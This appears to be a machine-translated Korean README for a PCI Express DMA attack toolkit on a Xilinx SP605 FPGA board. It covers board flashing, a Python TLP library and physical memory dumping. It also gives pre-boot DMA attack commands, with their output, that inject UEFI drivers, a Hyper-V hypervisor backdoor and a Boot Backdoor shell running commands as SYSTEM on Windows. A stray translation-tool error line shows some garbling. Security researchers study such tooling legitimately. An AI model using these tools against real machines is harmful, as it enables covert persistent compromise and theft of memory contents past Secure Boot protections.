
Xilinx SP605용 PCI Express DIY 해킹 툴킷. 이 저장소는 Hyper-V Backdoor와 Boot Backdoor가 있는 곳이기도 합니다. 링크와 정보는 readme를 확인하세요.
일반 정보
목차
SP605 보드 구성
소프트웨어 구성
예제
Python API 사용하기
실용적인 DMA 공격
Option ROM 공격
문제 해결
소스 코드에서 프로젝트 빌드하기
이 저장소에는 PCI-E 버스 및 DMA 공격과 관련된 도구와 개념 증명(proof of concept) 세트가 포함되어 있습니다. Spartan-6 FPGA 기반 Xilinx SP605 Evaluation Kit용 소프트웨어로 제어 가능한 PCI-E gen 1.1 엔드포인트 디바이스를 구현하는 HDL 설계가 포함됩니다. 널리 사용되는 USB3380EVB와 비교하여 이 설계는 PCI-E 버스의 원시 TLP(트랜잭션 레벨 패킷)로 작동하고 전체 64비트 메모리 읽기/쓰기 작업을 수행할 수 있습니다. 설계의 실제 사용 사례를 보여주기 위해 플랫폼 초기화 중에 임의의 UEFI DXE 드라이버를 실행할 수 있는 UEFI 기반 머신용 사전 부팅 DMA 공격 도구가 있습니다.
프로그램이 사전 부팅 DMA 공격을 사용하여 UEFI Secure Boot가 활성화된 플랫폼에서 실행되는 가상화 기반 보안이 활성화된 Windows 10 및 11에 Hyper-V VM exit 핸들러 백도어를 주입하는 방법을 보여줍니다. 제공된 Hyper-V Backdoor PoC는 리버스 엔지니어링 및 익스플로잇 개발 목적으로 유용할 수 있으며, 게스트 파티션에서 하이퍼바이저 상태(VMCS, 물리/가상 메모리, 레지스터 등)를 검사하고 게스트에서 호스트로의 VM 탈출 공격을 수행할 수 있는 인터페이스를 제공합니다.
또 다른 프로그램은 사전 부팅 DMA 공격을 사용하여 Boot Backdoor로 부팅 프로세스를 가로채 Windows 운영 체제에 임의의 사용자 모드 또는 커널 모드 코드를 주입하는 방법을 보여줍니다. 이 프로그램은 DMA Shell과 함께 작동할 수도 있습니다. DMA Shell은 악성 PCI-E 디바이스를 통해 콘솔 명령을 실행하고, 파일을 전송하고, 런타임에 타사 실행 파일을 대상 운영 체제에 로드할 수 있는 Boot Backdoor 페이로드입니다.
💾 이 프로젝트의 Hyper-V Backdoor 부분에는 이 문서에 설명된 것보다 더 많은 기능과 배포 옵션이 있으며, 특별한 하드웨어 없이도 DMA 공격 도구와 별도로 사용할 수 있습니다: 해당 문서를 확인하세요
💾 이 프로젝트의 Boot Backdoor 부분에는 이 문서에 설명된 것보다 더 많은 기능과 배포 옵션이 있으며, 특별한 하드웨어 없이도 DMA 공격 도구와 별도로 사용할 수 있습니다: 해당 문서를 확인하세요
💾 이 프로젝트의 Python 도구와 SP605, ZC706 및 PicoEVB 보드용 FPGA 설계는 사전 부팅 DMA 공격으로 SMM Backdoor Next Gen을 배포하는 데에도 사용할 수 있습니다. 자세한 기술 내용은 해당 문서를 확인하세요.
🛠️ 이 프로젝트의 Python 도구 및 페이로드(Hyper-V Backdoor 및 Boot Backdoor 포함)는 Xilinx Zynq-7000 SoC 기반 보드에서도 사용할 수 있습니다. Xilinx ZC706 평가 키트용 DMA 공격 설계에는 별도의 프로젝트가 있습니다.
🛠️ 이 프로젝트의 Python 도구 및 페이로드(Hyper-V Backdoor 및 Boot Backdoor 포함)는 PicoEVB 개발 보드에서도 사용할 수 있습니다. 별도의 Pico DMA 프로젝트 − M.2 슬롯용 완전 자율형 사전 부팅 DMA 공격 하드웨어 임플란트로, 임의의 UEFI DXE 드라이버를 페이로드로 실행할 수 있습니다.
s6_pcie_microblaze.xise − Xilinx ISE 프로젝트 파일입니다.
microblaze/pcores/axis_pcie_v1_00_a/ − Spartan-6 FPGA의 PCI Express 통합 엔드포인트 블록을 원시 TLP 스트림으로 MicroBlaze 소프트 프로세서 코어에 연결할 수 있게 해주는 커스텀 주변 장치 모듈입니다.
sdk/srec_bootloader_0/ − MicroBlaze 소프트 프로세서용 간단한 부트로더로, SREC 이미지 형식과 SP605의 온보드 리니어 플래시 메모리를 사용하여 기본 MicroBlaze 프로그램을 로드하고 저장합니다.
sdk/main_0/ − MicroBlaze 소프트 프로세서용 메인 프로그램으로, SP605의 온보드 이더넷 포트와 lwIP 네트워크 스택을 사용하여 PCI-E 버스의 원시 TLP 패킷을 TCP 연결로 전달합니다.
python/pcie_lib.py − SP605 보드에서 실행되는 메인 MicroBlaze 프로그램과 네트워크로 상호 작용하는 Python 라이브러리로, Python 코드에서 PCI-E의 TLP 레벨을 다루기 위한 다양한 저수준 및 고수준 추상화를 구현합니다.
python/pcie_mem.py − MRd TLP를 전송하여 호스트 RAM을 화면이나 출력 파일로 덤프하는 명령줄 프로그램입니다.
python/pcie_mem_scan.py − PCI-E 버스를 통해 접근 가능한 물리적 메모리 범위를 대상 호스트에서 스캔하는 명령줄 프로그램으로, IOMMU가 활성화된 플랫폼의 보안 감사에 유용합니다 (예: 1, 2, 3, 4).
python/uefi_backdoor_simple.py − 대상 머신 부팅 시퀀스에 더미 UEFI 드라이버를 주입하는 사전 부팅 DMA 공격용 명령줄 프로그램입니다.
Xilinx UG526 문서(일명 SP605 하드웨어 사용자 가이드)는 이 멋진 보드의 사용 및 구성에 대해 더 자세히 알고 싶다면 가장 좋은 참고 자료입니다.
온보드 SPI 플래시 칩에서 비트스트림을 로드하려면 SW1 스위치를 1-ON, 2-OFF 위치로 돌려 SP605를 구성해야 합니다.
이제 FPGA 비트스트림을 SPI 플래시에 작성해야 합니다. Xilinx iMPACT 유틸리티를 사용하여 JTAG로 수행하려면 s6_pcie_microblaze.mcs 파일을 사용하고 (이 튜토리얼 참조), SP605의 J17 헤더에 연결된 외부 SPI 플래시 프로그래머를 사용하려면 s6_pcie_microblaze.bin 파일을 사용하세요 (가장 빠르고 편리한 방법입니다).
flashrom 호환 SPI 플래시 프로그래머를 사용하는 경우 flash_to_spi.py 프로그램을 flashrom 래퍼로 사용할 수 있습니다:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) 이전 단계에서 SPI flash에 기록된 Bitstream 파일에는 MicroBlaze 코어용 커스텀 부트로더가 포함되어 있습니다 (자세한 내용은 [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) 참조). 이 부트로더를 사용하면 보드 옵션을 구성하고 SP605의 UART 포트를 통해 linear flash에 메인 프로그램을 기록할 수 있습니다.
업데이트 모드로 MicroBlaze를 부팅하려면 SPI flash 프로그래머를 분리하고 `SW4` 푸시버튼 스위치를 누른 상태에서 보드에 전원을 공급한 다음, 활성 업데이트 모드를 나타내는 `DS6` LED가 켜지면 `SW4`를 놓으십시오.
4) linear flash에 메인 프로그램을 기록하려면 (자세한 내용은 [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) 참조) 컴퓨터를 SP605의 UART 브리지 USB 포트에 연결하고 `--flash` 옵션과 함께 `bootloader_ctl.py` 프로그램을 실행해야 합니다:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py 프로그램을 --config 옵션과 함께 실행해야 합니다:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) 이제 업데이트 모드에서 나와 리니어 플래시에서 메인 MicroBlaze 프로그램을 부팅할 수 있습니다:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
Main program prints its error messages into the onboard UART, you can use --console option of bootloader_ctl.py to monitor this messages in real time.
Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was successfully established you will see DS3 and DS4 LEDs on.
Run lspci command on target computer to ensure that its operating system is seeing your board as appropriate PCI-E device:```
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
JTAG 관련 참고 사항: SP605에는 iMPACT 및 기타 Xilinx 도구와 호환되는 온보드 USB-JTAG 인터페이스가 있습니다. 그러나 품질이 그리 좋지 않으므로 Xilinx 튜토리얼에 설명된 대로 온보드 JTAG를 사용하여 SPI 플래시를 프로그래밍할 계획이라면 다음을 수행해야 합니다.
* JTAG 작업 중에는 SP605의 FMC 슬롯에 연결된 하드웨어를 모두 분리하십시오.
* Xilinx iMPACT 설정에서 JTAG 인터페이스 속도를 750 KHz로 구성하십시오(더 높은 속도에서는 불안정하게 작동합니다).
Xilinx SP605 보드는 [Thunderbolt-PCI-E 확장 섀시](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie)를 사용하여 대상 컴퓨터의 Thunderbolt 2/3 외부 포트에도 연결할 수 있습니다. SP605는 [상대적으로 큰 보드](https://www.xilinx.com/support/answers/53808.html)이므로 일부 섀시에는 맞지 않을 수 있습니다. 예를 들어 저는 MacBook Pro에서 잘 작동하는 [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) Thunderbolt 2 인클로저를 사용하고 있습니다.
## 소프트웨어 구성
보드와 상호 작용하는 Python 도구와 PCI-E 트랜잭션 계층의 소형 구현은 `python` 폴더에 있습니다. 기본 MicroBlaze 프로그램이 TCP 연결을 사용하여 TLP 패킷을 전송하므로 드라이버나 타사 종속성이 필요하지 않으며 제공된 Python 코드를 모든 운영 체제에서 사용할 수 있습니다.
대상 보드 IP 주소와 포트를 설정하려면 `python/pcie_lib_config.py` 파일에서 `PCIE_TO_TCP_ADDR` 변수를 편집하십시오.
## 예시
제공된 FPGA 비트스트림으로 구현된 PCI-E 장치에 대한 정보(대상 컴퓨터에서 보이는 그대로):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
Example of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:
On the attacker side you can use pcie_cfg.py program to view configuration space registers of PCI-E device:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
No input content was provided for chunk 15. The text after "INPUT:" is empty, so there is nothing to translate. Please re-send the chunk content.```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
다음은 pcie_mem.py 프로그램을 사용하여 대상 컴퓨터의 물리 메모리 0x80바이트를 주소 0부터 덤프하는 예입니다:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
물리 메모리를 파일에 저장하는 예시:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
제공되는 Python 소프트웨어는 일부 환경 변수를 사용하여 특정 옵션의 기본값을 재정의합니다:
DEBUG_TLP − 1로 설정하면 TX 및 RX TLP 패킷 덤프를 표준 출력으로 출력합니다.
TARGET_ADDR − python/pcie_lib_config.py 파일에 지정된 보드의 IP 주소를 재정의하는 <address>:<port> 문자열입니다.
Python 라이브러리 pcie_lib.py는 다양한 TLP 유형에 대한 추상화 및 고수준 물리 메모리 접근 API와 함께 PCE-E TLP 패킷을 송수신하기 위한 저수준 API를 제공합니다.
다음 프로그램은 pcie_lib.py를 사용하여 원시 TLP로 작업하는 방법을 보여줍니다:```python
from pcie_lib import *
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
bus_id = dev.get_bus_id()
tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address
dev.write(tlp_tx)
tlp_rx = dev.read(raw = True)
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
print('%.8x' % tlp_rx[3])
dev.close()
보다 편리한 고수준 추상화를 사용한 TLP 작업:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
고수준 API로 물리 메모리 접근:```python
dev.mem_write(0x1000, '\xAA' * 0x10)
dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)
print(repr(dev.mem_read(0x1000, 0x10)))
print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
## 실용적인 DMA 공격
이 프로젝트의 주요 목표 중 하나는 소위 사전 부팅(pre-boot) DMA 공격을 수행하기 위한 유연하고 편리한 도구 모음을 제공하는 것입니다. 일반적인 DMA 공격과 달리 사전 부팅 DMA 공격은 운영 체제 자체보다는 플랫폼 초기화의 UEFI DXE 단계의 사전 부팅 환경을 대상으로 합니다. 이러한 공격은 [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) 및 운영 체제의 기타 보안 기능이 아직 초기화되지 않은 비교적 초기 단계에서 악성 코드를 실행할 수 있게 해줍니다.
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
사전 부팅 DMA 공격은 UEFI 보안 부팅이나 [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard)와 같은 플랫폼 펌웨어의 다양한 보안 기능을 우회할 수 있습니다.
Python 프로그램 `uefi_backdoor_simple.py`는 위에서 설명한 사전 부팅 DMA 공격을 사용하여 `payloads/DmaBackdoorSimple` 폴더에 있는 더미 UEFI DXE 드라이버를 대상 시스템의 부팅 시퀀스에 주입합니다. 이 프로그램을 사용하려면 다음 단계를 수행해야 합니다:
1) 대상 컴퓨터의 전원을 끕니다.
2) SP605 보드를 대상 컴퓨터의 PCI-E (또는 Mini PCI-E, 또는 M.2) 포트에 연결합니다.
3) 보드를 켜고 `bootloader_ctl.py` 프로그램으로 보드 구성 중 지정한 IP 주소를 ping하여 Microblaze 펌웨어가 성공적으로 초기화되었는지 확인합니다.
4) 다음 명령을 실행하여 사전 부팅 DMA 공격을 시작합니다:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
공격 성공 후 uefi_backdoor_simple.py 콘솔 출력의 예:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
이 더미 UEFI DXE 드라이버는 `uefi_backdoor_simple.py` 프로그램과 함께, 운영체제 부트로더, 커널 또는 하이퍼바이저에 악성 코드를 주입하는 것과 같은 다양한 공격을 구현하기 위한 스켈레톤 프로젝트로 사용할 수 있습니다.
또한 `uefi_backdoor_hv.py`라는 또 다른 Python 프로그램이 있습니다. 이 프로그램은 `payloads/DmaBackdoorHv` 폴더에 있는 Hyper-V VM exit handler 백도어를 이전 더미 UEFI DXE 드라이버와 정확히 동일한 방식으로 대상 시스템의 부트 시퀀스에 주입합니다. 사용 예시는 다음과 같습니다:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
Hyper-V Backdoor의 UEFI DXE 드라이버는 디버그 메시지를 화면에도 출력합니다. 또한, 대상 시스템의 물리적 메모리에서 이 디버그 메시지를 읽어 stdout으로 출력하려면 uefi_backdoor_hv.py의 --debug-output 옵션을 사용할 수 있습니다:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
Hyper-V Backdoor 사용 사례와 기능에 대한 자세한 내용은 [해당 README 파일](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD)을 확인하십시오.
`uefi_backdoor_boot.py` 및 `uefi_backdoor_boot_shell.py` Python 프로그램은 대상 시스템의 부팅 시퀀스에 Boot Backdoor를 주입하는 데 사용됩니다. Boot Backdoor를 사용하면 Windows 운영 체제에서 임의의 사용자 모드 또는 커널 모드 코드를 실행할 수 있으며, DMA Shell이라고 하는 해당 페이로드를 사용하면 콘솔 명령을 실행하고 파일을 전송할 수 있습니다. 사전 부팅 DMA 공격을 사용하여 DMA Shell과 함께 Boot Backdoor를 배포하려면 위에서 설명한 것과 동일한 단계를 수행하되 `uefi_backdoor_boot_shell.py` 프로그램을 사용해야 합니다:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
이제 페이로드가 포함된 Boot Backdoor가 성공적으로 로드되면, --attach 옵션과 함께 uefi_backdoor_boot_shell.py를 실행하여 현재 실행 중인 DMA Shell 인스턴스와 통신할 수 있습니다:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
또한, `--debug-output` 옵션을 사용하여 Boot Backdoor UEFI DXE 드라이버의 디버그 메시지를 가져와서 stdout으로 출력할 수 있습니다:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
Boot Backdoor 사용 사례와 기능에 대한 자세한 정보를 보려면 자세한 정보가 포함된 README 파일을 확인하세요.
Python 프로그램 uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py 및 uefi_backdoor_boot_shell.py는 주입된 UEFI DXE 드라이버 이미지로 실행을 전달하는 두 가지 방법을 지원합니다:
